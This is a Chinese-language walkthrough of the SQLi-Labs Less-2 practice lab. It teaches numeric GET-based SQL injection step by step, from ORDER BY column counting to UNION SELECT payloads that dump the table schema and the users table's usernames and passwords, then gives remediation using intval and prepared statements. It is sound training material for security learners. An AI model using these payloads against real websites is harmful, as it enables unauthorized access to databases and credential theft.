SQLi-Labs Less-2 通关教程(数字型GET注入)
一、关卡核心信息
| 项目 | 详情 |
|---|---|
| 漏洞类型 | GET型数字型SQL注入(核心区别于Less-1的字符型) |
| 核心特征 | 后端SQL语句中,id参数无引号包裹,直接以数字形式拼接执行 |
| 前置条件 | 已完成SQLi-Labs靶场搭建,数据库初始化成功 |
| 工具准备 | 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证) |
| 通关目标 | 掌握数字型注入的判断方法,通过联合查询逐层获取数据库名、表名、字段名及users表账号密码 |
二、核心原理
Less-2 与 Less-1 的核心差异在于参数拼接方式:
- Less-1(字符型):
SELECT * FROM users WHERE id='1' LIMIT 0,1; - Less-2(数字型):
SELECT * FROM users WHERE id=1 LIMIT 0,1;
数字型注入无需闭合引号,直接构造UNION、ORDER BY等语句即可,这是Web安全中最基础、最易利用的注入类型之一。
三、通关步骤
步骤1:判断注入类型(核心:区分数字型 vs 字符型)
-
正常访问基准页 :
访问地址:
http://[靶场IP]/sqli-labs/Less-2/?id=1回显结果:页面正常显示
Your Login name:Dumb、Your Password:Dumb,说明id=1查询有效。 -
测试字符型闭合(排除法) :
输入Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=1'回显结果:出现MySQL语法错误,关键提示为
near '' LIMIT 0,1' at line 1。分析:报错中仅出现
' LIMIT,无'1'',说明后端未用单引号包裹id,排除字符型注入。 -
验证数字型注入(逻辑判断法):
- 输入:
http://[靶场IP]/sqli-labs/Less-2/?id=1 and 1=1
回显:正常(逻辑为真,查询执行成功)。 - 输入:
http://[靶场IP]/sqli-labs/Less-2/?id=1 and 1=2
回显:无结果(逻辑为假,查询无数据)。
结论:确认是数字型注入,参数可直接参与SQL逻辑运算。
- 输入:
步骤2:确定查询字段数(ORDER BY 法)
核心目的:找到后端SQL语句SELECT后的字段数量,为后续联合查询做准备。
- 输入Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=1 order by 3
回显:页面正常,说明字段数**≥3**。 - 输入Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=1 order by 4
回显:出现Unknown column '4' in 'order clause'报错。 - 结论:原查询语句的字段数为3。
步骤3:定位回显位置(UNION 联合查询)
核心原理:利用UNION SELECT拼接查询语句,通过构造"原查询无结果",强制显示联合查询的内容,找到页面可回显的字段位置。
- 构造Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,2,3- 关键说明:
id=-1是不存在的数值,让原查询无结果;union select 1,2,3拼接3个占位符,匹配字段数。
- 关键说明:
- 回显结果:页面显示
2和3,说明第2、3字段为可回显位置,后续可将占位符替换为查询语句。
步骤4:逐层获取数据库敏感信息
(1)查询当前数据库名与数据库用户
- Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,database(),user() - 回显结果:
database()显示当前库名(默认security),user()显示数据库连接用户(如root@localhost)。
(2)查询security数据库下的所有表名
- Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' - 关键说明:
information_schema.tables:MySQL系统表,存储所有数据库的表信息;group_concat():将多个表名拼接成一行,避免分页显示;- 数字型注入无需闭合引号,但若查询条件为字符串(如
table_schema='security'),仍需用单引号包裹。
- 回显结果:显示
emails、referers、uagents、users,核心目标表为users(存储账号密码)。
(3)查询users表的所有字段名
- Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' - 回显结果:显示
id、username、password,即核心敏感字段。
(4)查询users表中的账号密码(通关核心)
- Payload:
http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,':',password),3 from security.users - 回显结果:显示所有用户凭证,如
Dumb:Dumb、admin:admin、test:test,完成敏感数据窃取。
步骤5:Burp Suite Repeater 适配操作(教学补充)
若使用Burp Repeater测试,需注意URL编码规范(无需处理引号,仅需规范空格):
- 抓包后,在请求行中输入:
GET /sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,':',password),3 from security.users HTTP/1.1 - 或使用URL编码空格(
%20):id=-1%20union%20select%201,group_concat(username,':',password),3%20from%20security.users - 点击
Send,即可在响应包中看到敏感数据。
四、漏洞修复方案
Less-2 漏洞的本质是后端未对数字型参数做类型校验,直接拼接SQL语句,修复需从"输入校验"和"语句安全"两方面入手:
-
类型强制转换 :后端将
id参数强制转换为整数(如PHP中用intval($id)),非数字内容直接过滤; -
预编译语句(推荐) :使用PDO、MySQLi预编译,避免SQL语句拼接,示例(PHP):
php$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1"); $stmt->execute([$id]); -
最小权限原则 :限制数据库账号的查询权限,禁止前端账号访问
information_schema系统表。
五、图文并茂实训标注建议
| 截图序号 | 截图内容 | 核心标注 |
|---|---|---|
| 1 | 正常访问id=1的页面 |
标注"数字型注入基准页,无引号包裹" |
| 2 | id=1 and 1=2的无结果页面 |
标注"逻辑判断法验证数字型注入" |
| 3 | order by 4的报错页面 |
标注"字段数为3,超出则报错" |
| 4 | 联合查询显示数据库名的页面 | 标注"回显位置:第2、3字段" |
| 5 | 获取users表账号密码的最终页面 |
标注"核心成果:敏感数据泄露" |
六、通关总结
Less-2 作为数字型SQL注入的入门关卡,核心考点是"注入类型的判断"和"无引号闭合的注入逻辑"。与字符型注入相比,数字型注入无需考虑引号闭合,操作更简单,但判断环节是关键。
通关核心逻辑:先通过逻辑运算判断数字型注入 → 用ORDER BY确定字段数 → 用UNION SELECT定位回显位置 → 逐层查询敏感数据。掌握这一逻辑,可快速迁移到所有数字型注入场景,是SQL注入学习的重要基础。